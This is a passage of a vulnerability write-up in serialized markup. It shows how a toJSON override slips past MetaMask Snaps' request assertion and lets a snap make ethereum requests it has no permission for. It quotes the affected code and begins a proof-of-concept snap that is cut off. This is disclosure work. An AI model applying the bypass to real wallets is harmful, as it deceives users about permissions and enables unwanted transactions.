style":211},[39084],{"type":27,"value":1541},{"type":21,"tag":198,"props":39086,"children":39087},{"style":683},[39088],{"type":27,"value":39089},"||\n",{"type":21,"tag":198,"props":39091,"children":39092},{"class":200,"line":281},[39093,39098,39102,39106,39110,39114,39118,39122,39126,39130,39134,39138,39142,39147],{"type":21,"tag":198,"props":39094,"children":39095},{"style":1966},[39096],{"type":27,"value":39097}," String",{"type":21,"tag":198,"props":39099,"children":39100},{"style":211},[39101],{"type":27,"value":658},{"type":21,"tag":198,"props":39103,"children":39104},{"style":226},[39105],{"type":27,"value":39036},{"type":21,"tag":198,"props":39107,"children":39108},{"style":211},[39109],{"type":27,"value":658},{"type":21,"tag":198,"props":39111,"children":39112},{"style":226},[39113],{"type":27,"value":39045},{"type":21,"tag":198,"props":39115,"children":39116},{"style":211},[39117],{"type":27,"value":658},{"type":21,"tag":198,"props":39119,"children":39120},{"style":698},[39121],{"type":27,"value":39054},{"type":21,"tag":198,"props":39123,"children":39124},{"style":211},[39125],{"type":27,"value":706},{"type":21,"tag":198,"props":39127,"children":39128},{"style":226},[39129],{"type":27,"value":38986},{"type":21,"tag":198,"props":39131,"children":39132},{"style":211},[39133],{"type":27,"value":658},{"type":21,"tag":198,"props":39135,"children":39136},{"style":226},[39137],{"type":27,"value":39071},{"type":21,"tag":198,"props":39139,"children":39140},{"style":211},[39141],{"type":27,"value":828},{"type":21,"tag":198,"props":39143,"children":39144},{"style":205},[39145],{"type":27,"value":39146},"'snap_'",{"type":21,"tag":198,"props":39148,"children":39149},{"style":211},[39150],{"type":27,"value":7548},{"type":21,"tag":198,"props":39152,"children":39153},{"class":200,"line":302},[39154,39159],{"type":21,"tag":198,"props":39155,"children":39156},{"style":205},[39157],{"type":27,"value":39158}," 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":21,"tag":198,"props":39160,"children":39161},{"style":211},[39162],{"type":27,"value":257},{"type":21,"tag":198,"props":39164,"children":39165},{"class":200,"line":323},[39166],{"type":21,"tag":198,"props":39167,"children":39168},{"style":211},[39169],{"type":27,"value":39170}," );\n",{"type":21,"tag":198,"props":39172,"children":39173},{"class":200,"line":344},[39174,39178],{"type":21,"tag":198,"props":39175,"children":39176},{"style":698},[39177],{"type":27,"value":39015},{"type":21,"tag":198,"props":39179,"children":39180},{"style":211},[39181],{"type":27,"value":4268},{"type":21,"tag":198,"props":39183,"children":39184},{"class":200,"line":365},[39185,39189,39194,39198,39202,39206,39210,39214,39218],{"type":21,"tag":198,"props":39186,"children":39187},{"style":683},[39188],{"type":27,"value":21763},{"type":21,"tag":198,"props":39190,"children":39191},{"style":226},[39192],{"type":27,"value":39193},"BLOCKED_RPC_METHODS",{"type":21,"tag":198,"props":39195,"children":39196},{"style":211},[39197],{"type":27,"value":658},{"type":21,"tag":198,"props":39199,"children":39200},{"style":698},[39201],{"type":27,"value":35956},{"type":21,"tag":198,"props":39203,"children":39204},{"style":211},[39205],{"type":27,"value":706},{"type":21,"tag":198,"props":39207,"children":39208},{"style":226},[39209],{"type":27,"value":38986},{"type":21,"tag":198,"props":39211,"children":39212},{"style":211},[39213],{"type":27,"value":658},{"type":21,"tag":198,"props":39215,"children":39216},{"style":226},[39217],{"type":27,"value":39071},{"type":21,"tag":198,"props":39219,"children":39220},{"style":211},[39221],{"type":27,"value":7548},{"type":21,"tag":198,"props":39223,"children":39224},{"class":200,"line":386},[39225,39230,39234,39239,39243,39248],{"type":21,"tag":198,"props":39226,"children":39227},{"style":226},[39228],{"type":27,"value":39229}," ethErrors",{"type":21,"tag":198,"props":39231,"children":39232},{"style":211},[39233],{"type":27,"value":658},{"type":21,"tag":198,"props":39235,"children":39236},{"style":226},[39237],{"type":27,"value":39238},"rpc",{"type":21,"tag":198,"props":39240,"children":39241},{"style":211},[39242],{"type":27,"value":658},{"type":21,"tag":198,"props":39244,"children":39245},{"style":698},[39246],{"type":27,"value":39247},"methodNotFound",{"type":21,"tag":198,"props":39249,"children":39250},{"style":211},[39251],{"type":27,"value":15945},{"type":21,"tag":198,"props":39253,"children":39254},{"class":200,"line":408},[39255,39260],{"type":21,"tag":198,"props":39256,"children":39257},{"style":226},[39258],{"type":27,"value":39259}," data:",{"type":21,"tag":198,"props":39261,"children":39262},{"style":211},[39263],{"type":27,"value":233},{"type":21,"tag":198,"props":39265,"children":39266},{"class":200,"line":429},[39267,39272,39277,39281,39285],{"type":21,"tag":198,"props":39268,"children":39269},{"style":226},[39270],{"type":27,"value":39271}," method:",{"type":21,"tag":198,"props":39273,"children":39274},{"style":226},[39275],{"type":27,"value":39276}," args",{"type":21,"tag":198,"props":39278,"children":39279},{"style":211},[39280],{"type":27,"value":658},{"type":21,"tag":198,"props":39282,"children":39283},{"style":226},[39284],{"type":27,"value":39071},{"type":21,"tag":198,"props":39286,"children":39287},{"style":211},[39288],{"type":27,"value":257},{"type":21,"tag":198,"props":39290,"children":39291},{"class":200,"line":450},[39292],{"type":21,"tag":198,"props":39293,"children":39294},{"style":211},[39295],{"type":27,"value":474},{"type":21,"tag":198,"props":39297,"children":39298},{"class":200,"line":468},[39299],{"type":21,"tag":198,"props":39300,"children":39301},{"style":211},[39302],{"type":27,"value":39303}," }),\n",{"type":21,"tag":198,"props":39305,"children":39306},{"class":200,"line":477},[39307],{"type":21,"tag":198,"props":39308,"children":39309},{"style":211},[39310],{"type":27,"value":39170},{"type":21,"tag":198,"props":39312,"children":39313},{"class":200,"line":494},[39314,39319,39323,39327,39331,39336,39340,39345],{"type":21,"tag":198,"props":39315,"children":39316},{"style":698},[39317],{"type":27,"value":39318}," assertStruct",{"type":21,"tag":198,"props":39320,"children":39321},{"style":211},[39322],{"type":27,"value":706},{"type":21,"tag":198,"props":39324,"children":39325},{"style":226},[39326],{"type":27,"value":38986},{"type":21,"tag":198,"props":39328,"children":39329},{"style":211},[39330],{"type":27,"value":828},{"type":21,"tag":198,"props":39332,"children":39333},{"style":226},[39334],{"type":27,"value":39335},"JsonStruct",{"type":21,"tag":198,"props":39337,"children":39338},{"style":211},[39339],{"type":27,"value":828},{"type":21,"tag":198,"props":39341,"children":39342},{"style":205},[39343],{"type":27,"value":39344},"'Provided value is not JSON-RPC compatible'",{"type":21,"tag":198,"props":39346,"children":39347},{"style":211},[39348],{"type":27,"value":1470},{"type":21,"tag":198,"props":39350,"children":39351},{"class":200,"line":515},[39352],{"type":21,"tag":198,"props":39353,"children":39354},{"style":211},[39355],{"type":27,"value":1120},{"type":21,"tag":30,"props":39357,"children":39358},{},[39359,39361,39366,39368,39374,39375,39381],{"type":27,"value":39360},"This function is called by the ",{"type":21,"tag":194,"props":39362,"children":39364},{"className":39363},[],[39365],{"type":27,"value":38937},{"type":27,"value":39367}," RPC provider, so it can only send methods starting with ",{"type":21,"tag":194,"props":39369,"children":39371},{"className":39370},[],[39372],{"type":27,"value":39373},"wallet_",{"type":27,"value":13940},{"type":21,"tag":194,"props":39376,"children":39378},{"className":39377},[],[39379],{"type":27,"value":39380},"snap_",{"type":27,"value":39382},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":21,"tag":30,"props":39384,"children":39385},{},[39386,39388,39393,39395,39400,39402,39408],{"type":27,"value":39387},"On the other hand, the ",{"type":21,"tag":194,"props":39389,"children":39391},{"className":39390},[],[39392],{"type":27,"value":32206},{"type":27,"value":39394}," provider only blocks methods starting with ",{"type":21,"tag":194,"props":39396,"children":39398},{"className":39397},[],[39399],{"type":27,"value":39380},{"type":27,"value":39401}," and the blocked methods. However, it requires the ",{"type":21,"tag":194,"props":39403,"children":39405},{"className":39404},[],[39406],{"type":27,"value":39407},"endowment:ethereum-provider",{"type":27,"value":39409}," permission in the snap manifest.",{"type":21,"tag":162,"props":39411,"children":39413},{"id":39412},"execution-flow",[39414],{"type":27,"value":39415},"Execution flow",{"type":21,"tag":30,"props":39417,"children":39418},{},[39419,39421,39426,39427,39432,39434,39439,39440,39446],{"type":27,"value":39420},"Both providers (",{"type":21,"tag":194,"props":39422,"children":39424},{"className":39423},[],[39425],{"type":27,"value":38937},{"type":27,"value":11801},{"type":21,"tag":194,"props":39428,"children":39430},{"className":39429},[],[39431],{"type":27,"value":32206},{"type":27,"value":39433},") are built outside the SES container with a ",{"type":21,"tag":194,"props":39435,"children":39437},{"className":39436},[],[39438],{"type":27,"value":32280},{"type":27,"value":915},{"type":21,"tag":34,"props":39441,"children":39444},{"href":39442,"rel":39443},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[38],[39445],{"type":27,"value":892},{"type":27,"value":185},{"type":21,"tag":187,"props":39448,"children":39450},{"className":36704,"code":39449,"language":36706,"meta":7,"style":7}," const request = async (args: RequestArguments) => {\n assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n const sanitizedArgs = getSafeJson(args);\n this.notify({ method: 'OutboundRequest' });\n try {\n return await withTeardown(\n originalRequest(sanitizedArgs as unknown as RequestArguments),\n this as any,\n );\n } finally {\n this.notify({ method: 'OutboundResponse' });\n }\n };\n",[39451],{"type":21,"tag":194,"props":39452,"children":39453},{"__ignoreMap":7},[39454,39501,39526,39559,39594,39606,39626,39664,39684,39691,39708,39741,39748],{"type":21,"tag":198,"props":39455,"children":39456},{"class":200,"line":201},[39457,39461,39465,39469,39473,39477,39481,39485,39489,39493,39497],{"type":21,"tag":198,"props":39458,"children":39459},{"style":249},[39460],{"type":27,"value":969},{"type":21,"tag":198,"props":39462,"children":39463},{"style":698},[39464],{"type":27,"value":32174},{"type":21,"tag":198,"props":39466,"children":39467},{"style":683},[39468],{"type":27,"value":979},{"type":21,"tag":198,"props":39470,"children":39471},{"style":249},[39472],{"type":27,"value":37137},{"type":21,"tag":198,"props":39474,"children":39475},{"style":211},[39476],{"type":27,"value":648},{"type":21,"tag":198,"props":39478,"children":39479},{"style":226},[39480],{"type":27,"value":38986},{"type":21,"tag":198,"props":39482,"children":39483},{"style":683},[39484],{"type":27,"value":185},{"type":21,"tag":198,"props":39486,"children":39487},{"style":1966},[39488],{"type":27,"value":38995},{"type":21,"tag":198,"props":39490,"children":39491},{"style":211},[39492],{"type":27,"value":1541},{"type":21,"tag":198,"props":39494,"children":39495},{"style":249},[39496],{"type":27,"value":15626},{"type":21,"tag":198,"props":39498,"children":39499},{"style":211},[39500],{"type":27,"value":233},{"type":21,"tag":198,"props":39502,"children":39503},{"class":200,"line":217},[39504,39509,39513,39517,39521],{"type":21,"tag":198,"props":39505,"children":39506},{"style":698},[39507],{"type":27,"value":39508}," assertSnapOutboundRequest",{"type":21,"tag":198,"props":39510,"children":39511},{"style":211},[39512],{"type":27,"value":706},{"type":21,"tag":198,"props":39514,"children":39515},{"style":226},[39516],{"type":27,"value":38986},{"type":21,"tag":198,"props":39518,"children":39519},{"style":211},[39520],{"type":27,"value":29157},{"type":21,"tag":198,"props":39522,"children":39523},{"style":1233},[39524],{"type":27,"value":39525},"// or assertEthereumOutboundRequest(args);\n",{"type":21,"tag":198,"props":39527,"children":39528},{"class":200,"line":236},[39529,39533,39538,39542,39547,39551,39555],{"type":21,"tag":198,"props":39530,"children":39531},{"style":249},[39532],{"type":27,"value":32334},{"type":21,"tag":198,"props":39534,"children":39535},{"style":226},[39536],{"type":27,"value":39537}," sanitizedArgs",{"type":21,"tag":198,"props":39539,"children":39540},{"style":683},[39541],{"type":27,"value":979},{"type":21,"tag":198,"props":39543,"children":39544},{"style":698},[39545],{"type":27,"value":39546}," getSafeJson",{"type":21,"tag":198,"props":39548,"children":39549},{"style":211},[39550],{"type":27,"value":706},{"type":21,"tag":198,"props":39552,"children":39553},{"style":226},[39554],{"type":27,"value":38986},{"type":21,"tag":198,"props":39556,"children":39557},{"style":211},[39558],{"type":27,"value":1470},{"type":21,"tag":198,"props":39560,"children":39561},{"class":200,"line":260},[39562,39567,39571,39576,39580,39584,39589],{"type":21,"tag":198,"props":39563,"children":39564},{"style":249},[39565],{"type":27,"value":39566}," this",{"type":21,"tag":198,"props":39568,"children":39569},{"style":211},[39570],{"type":27,"value":658},{"type":21,"tag":198,"props":39572,"children":39573},{"style":698},[39574],{"type":27,"value":39575},"notify",{"type":21,"tag":198,"props":39577,"children":39578},{"style":211},[39579],{"type":27,"value":32285},{"type":21,"tag":198,"props":39581,"children":39582},{"style":226},[39583],{"type":27,"value":32290},{"type":21,"tag":198,"props":39585,"children":39586},{"style":205},[39587],{"type":27,"value":39588}," 'OutboundRequest'",{"type":21,"tag":198,"props":39590,"children":39591},{"style":211},[39592],{"type":27,"value":39593}," });\n",{"type":21,"tag":198,"props":39595,"children":39596},{"class":200,"line":281},[39597,39602],{"type":21,"tag":198,"props":39598,"children":39599},{"style":640},[39600],{"type":27,"value":39601}," try",{"type":21,"tag":198,"props":39603,"children":39604},{"style":211},[39605],{"type":27,"value":233},{"type":21,"tag":198,"props":39607,"children":39608},{"class":200,"line":302},[39609,39613,39617,39622],{"type":21,"tag":198,"props":39610,"children":39611},{"style":640},[39612],{"type":27,"value":16547},{"type":21,"tag":198,"props":39614,"children":39615},{"style":640},[39616],{"type":27,"value":36983},{"type":21,"tag":198,"props":39618,"children":39619},{"style":698},[39620],{"type":27,"value":39621}," withTeardown",{"type":21,"tag":198,"props":39623,"children":39624},{"style":211},[39625],{"type":27,"value":4268},{"type":21,"tag":198,"props":39627,"children":39628},{"class":200,"line":323},[39629,39634,39638,39643,39647,39652,39656,39660],{"type":21,"tag":198,"props":39630,"children":39631},{"style":698},[39632],{"type":27,"value":39633}," originalRequest",{"type":21,"tag":198,"props":39635,"children":39636},{"style":211},[39637],{"type":27,"value":706},{"type":21,"tag":198,"props":39639,"children":39640},{"style":226},[39641],{"type":27,"value":39642},"sanitizedArgs",{"type":21,"tag":198,"props":39644,"children":39645},{"style":640},[39646],{"type":27,"value":9638},{"type":21,"tag":198,"props":39648,"children":39649},{"style":1966},[39650],{"type":27,"value":39651}," unknown",{"type":21,"tag":198,"props":39653,"children":39654},{"style":640},[39655],{"type":27,"value":9638},{"type":21,"tag":198,"props":39657,"children":39658},{"style":1966},[39659],{"type":27,"value":38995},{"type":21,"tag":198,"props":39661,"children":39662},{"style":211},[39663],{"type":27,"value":7548},{"type":21,"tag":198,"props":39665,"children":39666},{"class":200,"line":344},[39667,39672,39676,39680],{"type":21,"tag":198,"props":39668,"children":39669},{"style":249},[39670],{"type":27,"value":39671}," this",{"type":21,"tag":198,"props":39673,"children":39674},{"style":640},[39675],{"type":27,"value":9638},{"type":21,"tag":198,"props":39677,"children":39678},{"style":1966},[39679],{"type":27,"value":11167},{"type":21,"tag":198,"props":39681,"children":39682},{"style":211},[39683],{"type":27,"value":257},{"type":21,"tag":198,"props":39685,"children":39686},{"class":200,"line":365},[39687],{"type":21,"tag":198,"props":39688,"children":39689},{"style":211},[39690],{"type":27,"value":8555},{"type":21,"tag":198,"props":39692,"children":39693},{"class":200,"line":386},[39694,39699,39704],{"type":21,"tag":198,"props":39695,"children":39696},{"style":211},[39697],{"type":27,"value":39698}," } ",{"type":21,"tag":198,"props":39700,"children":39701},{"style":640},[39702],{"type":27,"value":39703},"finally",{"type":21,"tag":198,"props":39705,"children":39706},{"style":211},[39707],{"type":27,"value":233},{"type":21,"tag":198,"props":39709,"children":39710},{"class":200,"line":408},[39711,39716,39720,39724,39728,39732,39737],{"type":21,"tag":198,"props":39712,"children":39713},{"style":249},[39714],{"type":27,"value":39715}," this",{"type":21,"tag":198,"props":39717,"children":39718},{"style":211},[39719],{"type":27,"value":658},{"type":21,"tag":198,"props":39721,"children":39722},{"style":698},[39723],{"type":27,"value":39575},{"type":21,"tag":198,"props":39725,"children":39726},{"style":211},[39727],{"type":27,"value":32285},{"type":21,"tag":198,"props":39729,"children":39730},{"style":226},[39731],{"type":27,"value":32290},{"type":21,"tag":198,"props":39733,"children":39734},{"style":205},[39735],{"type":27,"value":39736}," 'OutboundResponse'",{"type":21,"tag":198,"props":39738,"children":39739},{"style":211},[39740],{"type":27,"value":39593},{"type":21,"tag":198,"props":39742,"children":39743},{"class":200,"line":429},[39744],{"type":21,"tag":198,"props":39745,"children":39746},{"style":211},[39747],{"type":27,"value":797},{"type":21,"tag":198,"props":39749,"children":39750},{"class":200,"line":450},[39751],{"type":21,"tag":198,"props":39752,"children":39753},{"style":211},[39754],{"type":27,"value":39755}," };\n",{"type":21,"tag":30,"props":39757,"children":39758},{},[39759,39761,39766,39768,39773],{"type":27,"value":39760},"In particular, this function is from the ",{"type":21,"tag":194,"props":39762,"children":39764},{"className":39763},[],[39765],{"type":27,"value":38937},{"type":27,"value":39767}," provider, but the only thing that changes between this and ",{"type":21,"tag":194,"props":39769,"children":39771},{"className":39770},[],[39772],{"type":27,"value":32206},{"type":27,"value":39774}," is the assert function in the first line.",{"type":21,"tag":30,"props":39776,"children":39777},{},[39778],{"type":27,"value":39779},"As we can see in the code, the execution flow follows this pattern:",{"type":21,"tag":71,"props":39781,"children":39782},{},[39783,39795,39800],{"type":21,"tag":75,"props":39784,"children":39785},{},[39786,39788,39793],{"type":27,"value":39787},"Assert if ",{"type":21,"tag":194,"props":39789,"children":39791},{"className":39790},[],[39792],{"type":27,"value":38986},{"type":27,"value":39794}," are valid",{"type":21,"tag":75,"props":39796,"children":39797},{},[39798],{"type":27,"value":39799},"getSafeJson to get sanitizedArgs",{"type":21,"tag":75,"props":39801,"children":39802},{},[39803],{"type":27,"value":39804},"originalRequest(sanitizedArgs)",{"type":21,"tag":30,"props":39806,"children":39807},{},[39808,39810,39816],{"type":27,"value":39809},"Obs: ",{"type":21,"tag":194,"props":39811,"children":39813},{"className":39812},[],[39814],{"type":27,"value":39815},"originalRequest",{"type":27,"value":39817}," makes the RPC call to metamask service worker",{"type":21,"tag":59,"props":39819,"children":39821},{"id":39820},"safe-json-exploit",[39822],{"type":27,"value":39823},"Safe JSON Exploit",{"type":21,"tag":30,"props":39825,"children":39826},{},[39827,39829,39835,39837,39842,39844,39850],{"type":27,"value":39828},"As we dug further into the",{"type":21,"tag":194,"props":39830,"children":39832},{"className":39831},[],[39833],{"type":27,"value":39834},"getSafeJson",{"type":27,"value":39836}," function (defined in ",{"type":21,"tag":194,"props":39838,"children":39840},{"className":39839},[],[39841],{"type":27,"value":38059},{"type":27,"value":39843}," package) we discovered the following ",{"type":21,"tag":34,"props":39845,"children":39848},{"href":39846,"rel":39847},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[38],[39849],{"type":27,"value":194},{"type":27,"value":185},{"type":21,"tag":187,"props":39852,"children":39854},{"className":36387,"code":39853,"language":36389,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n assertStruct(value, UnsafeJsonStruct);\n return JSON.parse(\n JSON.stringify(value, (propKey, propValue) => {\n // Strip __proto__ and constructor properties to prevent prototype pollution.\n if (propKey === '__proto__' || propKey === 'constructor') {\n return undefined;\n }\n return propValue;\n }),\n );\n});\n",[39855],{"type":21,"tag":194,"props":39856,"children":39857},{"__ignoreMap":7},[39858,39923,39950,39974,40029,40037,40083,40098,40105,40122,40129,40136],{"type":21,"tag":198,"props":39859,"children":39860},{"class":200,"line":201},[39861,39865,39870,39875,39879,39884,39888,39893,39897,39901,39906,39911,39915,39919],{"type":21,"tag":198,"props":39862,"children":39863},{"style":640},[39864],{"type":27,"value":38968},{"type":21,"tag":198,"props":39866,"children":39867},{"style":249},[39868],{"type":27,"value":39869}," const",{"type":21,"tag":198,"props":39871,"children":39872},{"style":226},[39873],{"type":27,"value":39874}," JsonStruct",{"type":21,"tag":198,"props":39876,"children":39877},{"style":683},[39878],{"type":27,"value":979},{"type":21,"tag":198,"props":39880,"children":39881},{"style":698},[39882],{"type":27,"value":39883}," coerce",{"type":21,"tag":198,"props":39885,"children":39886},{"style":211},[39887],{"type":27,"value":706},{"type":21,"tag":198,"props":39889,"children":39890},{"style":226},[39891],{"type":27,"value":39892},"UnsafeJsonStruct",{"type":21,"tag":198,"props":39894,"children":39895},{"style":211},[39896],{"type":27,"value":828},{"type":21,"tag":198,"props":39898,"children":39899},{"style":698},[39900],{"type":27,"value":17515},{"type":21,"tag":198,"props":39902,"children":39903},{"style":211},[39904],{"type":27,"value":39905},"(), (",{"type":21,"tag":198,"props":39907,"children":39908},{"style":226},[39909],{"type":27,"value":39910},"value",{"type":21,"tag":198,"props":39912,"children":39913},{"style":211},[39914],{"type":27,"value":1541},{"type":21,"tag":198,"props":39916,"children":39917},{"style":249},[39918],{"type":27,"value":15626},{"type":21,"tag":198,"props":39920,"children":39921},{"style":211},[39922],{"type":27,"value":233},{"type":21,"tag":198,"props":39924,"children":39925},{"class":200,"line":217},[39926,39930,39934,39938,39942,39946],{"type":21,"tag":198,"props":39927,"children":39928},{"style":698},[39929],{"type":27,"value":39318},{"type":21,"tag":198,"props":39931,"children":39932},{"style":211},[39933],{"type":27,"value":706},{"type":21,"tag":198,"props":39935,"children":39936},{"style":226},[39937],{"type":27,"value":39910},{"type":21,"tag":198,"props":39939,"children":39940},{"style":211},[39941],{"type":27,"value":828},{"type":21,"tag":198,"props":39943,"children":39944},{"style":226},[39945],{"type":27,"value":39892},{"type":21,"tag":198,"props":39947,"children":39948},{"style":211},[39949],{"type":27,"value":1470},{"type":21,"tag":198,"props":39951,"children":39952},{"class":200,"line":236},[39953,39957,39961,39965,39970],{"type":21,"tag":198,"props":39954,"children":39955},{"style":640},[39956],{"type":27,"value":1886},{"type":21,"tag":198,"props":39958,"children":39959},{"style":226},[39960],{"type":27,"value":38290},{"type":21,"tag":198,"props":39962,"children":39963},{"style":211},[39964],{"type":27,"value":658},{"type":21,"tag":198,"props":39966,"children":39967},{"style":698},[39968],{"type":27,"value":39969},"parse",{"type":21,"tag":198,"props":39971,"children":39972},{"style":211},[39973],{"type":27,"value":4268},{"type":21,"tag":198,"props":39975,"children":39976},{"class":200,"line":260},[39977,39982,39986,39991,39995,39999,40003,40008,40012,40017,40021,40025],{"type":21,"tag":198,"props":39978,"children":39979},{"style":226},[39980],{"type":27,"value":39981}," JSON",{"type":21,"tag":198,"props":39983,"children":39984},{"style":211},[39985],{"type":27,"value":658},{"type":21,"tag":198,"props":39987,"children":39988},{"style":698},[39989],{"type":27,"value":39990},"stringify",{"type":21,"tag":198,"props":39992,"children":39993},{"style":211},[39994],{"type":27,"value":706},{"type":21,"tag":198,"props":39996,"children":39997},{"style":226},[39998],{"type":27,"value":39910},{"type":21,"tag":198,"props":40000,"children":40001},{"style":211},[40002],{"type":27,"value":9629},{"type":21,"tag":198,"props":40004,"children":40005},{"style":226},[40006],{"type":27,"value":40007},"propKey",{"type":21,"tag":198,"props":40009,"children":40010},{"style":211},[40011],{"type":27,"value":828},{"type":21,"tag":198,"props":40013,"children":40014},{"style":226},[40015],{"type":27,"value":40016},"propValue",{"type":21,"tag":198,"props":40018,"children":40019},{"style":211},[40020],{"type":27,"value":1541},{"type":21,"tag":198,"props":40022,"children":40023},{"style":249},[40024],{"type":27,"value":15626},{"type":21,"tag":198,"props":40026,"children":40027},{"style":211},[40028],{"type":27,"value":233},{"type":21,"tag":198,"props":40030,"children":40031},{"class":200,"line":281},[40032],{"type":21,"tag":198,"props":40033,"children":40034},{"style":1233},[40035],{"type":27,"value":40036}," // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":21,"tag":198,"props":40038,"children":40039},{"class":200,"line":302},[40040,40044,40048,40052,40056,40061,40065,40070,40074,40079],{"type":21,"tag":198,"props":40041,"children":40042},{"style":640},[40043],{"type":27,"value":676},{"type":21,"tag":198,"props":40045,"children":40046},{"style":211},[40047],{"type":27,"value":648},{"type":21,"tag":198,"props":40049,"children":40050},{"style":226},[40051],{"type":27,"value":40007},{"type":21,"tag":198,"props":40053,"children":40054},{"style":683},[40055],{"type":27,"value":1531},{"type":21,"tag":198,"props":40057,"children":40058},{"style":205},[40059],{"type":27,"value":40060}," '__proto__'",{"type":21,"tag":198,"props":40062,"children":40063},{"style":683},[40064],{"type":27,"value":24501},{"type":21,"tag":198,"props":40066,"children":40067},{"style":226},[40068],{"type":27,"value":40069}," propKey",{"type":21,"tag":198,"props":40071,"children":40072},{"style":683},[40073],{"type":27,"value":1531},{"type":21,"tag":198,"props":40075,"children":40076},{"style":205},[40077],{"type":27,"value":40078}," 'constructor'",{"type":21,"tag":198,"props":40080,"children":40081},{"style":211},[40082],{"type":27,"value":668},{"type":21,"tag":198,"props":40084,"children":40085},{"class":200,"line":323},[40086,40090,40094],{"type":21,"tag":198,"props":40087,"children":40088},{"style":640},[40089],{"type":27,"value":16547},{"type":21,"tag":198,"props":40091,"children":40092},{"style":249},[40093],{"type":27,"value":1551},{"type":21,"tag":198,"props":40095,"children":40096},{"style":211},[40097],{"type":27,"value":1483},{"type":21,"tag":198,"props":40099,"children":40100},{"class":200,"line":344},[40101],{"type":21,"tag":198,"props":40102,"children":40103},{"style":211},[40104],{"type":27,"value":797},{"type":21,"tag":198,"props":40106,"children":40107},{"class":200,"line":365},[40108,40113,40118],{"type":21,"tag":198,"props":40109,"children":40110},{"style":640},[40111],{"type":27,"value":40112}," return",{"type":21,"tag":198,"props":40114,"children":40115},{"style":226},[40116],{"type":27,"value":40117}," propValue",{"type":21,"tag":198,"props":40119,"children":40120},{"style":211},[40121],{"type":27,"value":1483},{"type":21,"tag":198,"props":40123,"children":40124},{"class":200,"line":386},[40125],{"type":21,"tag":198,"props":40126,"children":40127},{"style":211},[40128],{"type":27,"value":39303},{"type":21,"tag":198,"props":40130,"children":40131},{"class":200,"line":408},[40132],{"type":21,"tag":198,"props":40133,"children":40134},{"style":211},[40135],{"type":27,"value":39170},{"type":21,"tag":198,"props":40137,"children":40138},{"class":200,"line":429},[40139],{"type":21,"tag":198,"props":40140,"children":40141},{"style":211},[40142],{"type":27,"value":2257},{"type":21,"tag":30,"props":40144,"children":40145},{},[40146,40148,40154,40156,40161,40163,40169,40171,40177],{"type":27,"value":40147},"The function performs a ",{"type":21,"tag":194,"props":40149,"children":40151},{"className":40150},[],[40152],{"type":27,"value":40153},"JSON.parse(JSON.stringify(value))",{"type":27,"value":40155}," in the argument sent to ",{"type":21,"tag":194,"props":40157,"children":40159},{"className":40158},[],[40160],{"type":27,"value":39834},{"type":27,"value":40162},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":21,"tag":194,"props":40164,"children":40166},{"className":40165},[],[40167],{"type":27,"value":40168},"toJSON",{"type":27,"value":40170}," function in a legit ",{"type":21,"tag":194,"props":40172,"children":40174},{"className":40173},[],[40175],{"type":27,"value":40176},"snap.request",{"type":27,"value":40178}," argument:",{"type":21,"tag":71,"props":40180,"children":40181},{},[40182,40187,40192],{"type":21,"tag":75,"props":40183,"children":40184},{},[40185],{"type":27,"value":40186},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":21,"tag":75,"props":40188,"children":40189},{},[40190],{"type":27,"value":40191},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":21,"tag":75,"props":40193,"children":40194},{},[40195],{"type":27,"value":40196},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":21,"tag":30,"props":40198,"children":40199},{},[40200],{"type":27,"value":40201},"The assertion bypass can be useful on two occasions:",{"type":21,"tag":71,"props":40203,"children":40204},{},[40205,40210],{"type":21,"tag":75,"props":40206,"children":40207},{},[40208],{"type":27,"value":40209},"forward blocked RPC methods",{"type":21,"tag":75,"props":40211,"children":40212},{},[40213,40215,40220,40222,40228,40230,40235],{"type":27,"value":40214},"Making requests in ",{"type":21,"tag":194,"props":40216,"children":40218},{"className":40217},[],[40219],{"type":27,"value":40176},{"type":27,"value":40221}," that were only supposed to be done within ",{"type":21,"tag":194,"props":40223,"children":40225},{"className":40224},[],[40226],{"type":27,"value":40227},"ethereum.request",{"type":27,"value":40229}," (with ",{"type":21,"tag":194,"props":40231,"children":40233},{"className":40232},[],[40234],{"type":27,"value":39407},{"type":27,"value":40236}," enabled).",{"type":21,"tag":30,"props":40238,"children":40239},{},[40240],{"type":27,"value":40241},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":21,"tag":59,"props":40243,"children":40244},{"id":6475},[40245],{"type":27,"value":6478},{"type":21,"tag":30,"props":40247,"children":40248},{},[40249],{"type":27,"value":40250},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":21,"tag":30,"props":40252,"children":40253},{},[40254],{"type":21,"tag":1376,"props":40255,"children":40257},{"alt":7,"src":40256},"/posts/metamask-snaps/note.png",[],{"type":21,"tag":59,"props":40259,"children":40261},{"id":40260},"proof-of-concept",[40262],{"type":27,"value":35606},{"type":21,"tag":30,"props":40264,"children":40265},{},[40266,40268,40273,40275,40280,40282,40288],{"type":27,"value":40267},"To demonstrate the issue, we created a snap without the ",{"type":21,"tag":194,"props":40269,"children":40271},{"className":40270},[],[40272],{"type":27,"value":39407},{"type":27,"value":40274}," permission, and used the ",{"type":21,"tag":194,"props":40276,"children":40278},{"className":40277},[],[40279],{"type":27,"value":38937},{"type":27,"value":40281}," interface to call ",{"type":21,"tag":194,"props":40283,"children":40285},{"className":40284},[],[40286],{"type":27,"value":40287},"eth_sendTransaction",{"type":27,"value":40289},". According to the documentation, this shouldn't be possible:",{"type":21,"tag":187,"props":40291,"children":40293},{"className":36387,"code":40292,"language":36389,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n let x = [] as any\n\n x.method = \"snap_dialog\"\n\n x.toJSON = () => {\n return {\n method: \"eth_requestAccounts\",\n params: []\n }\n 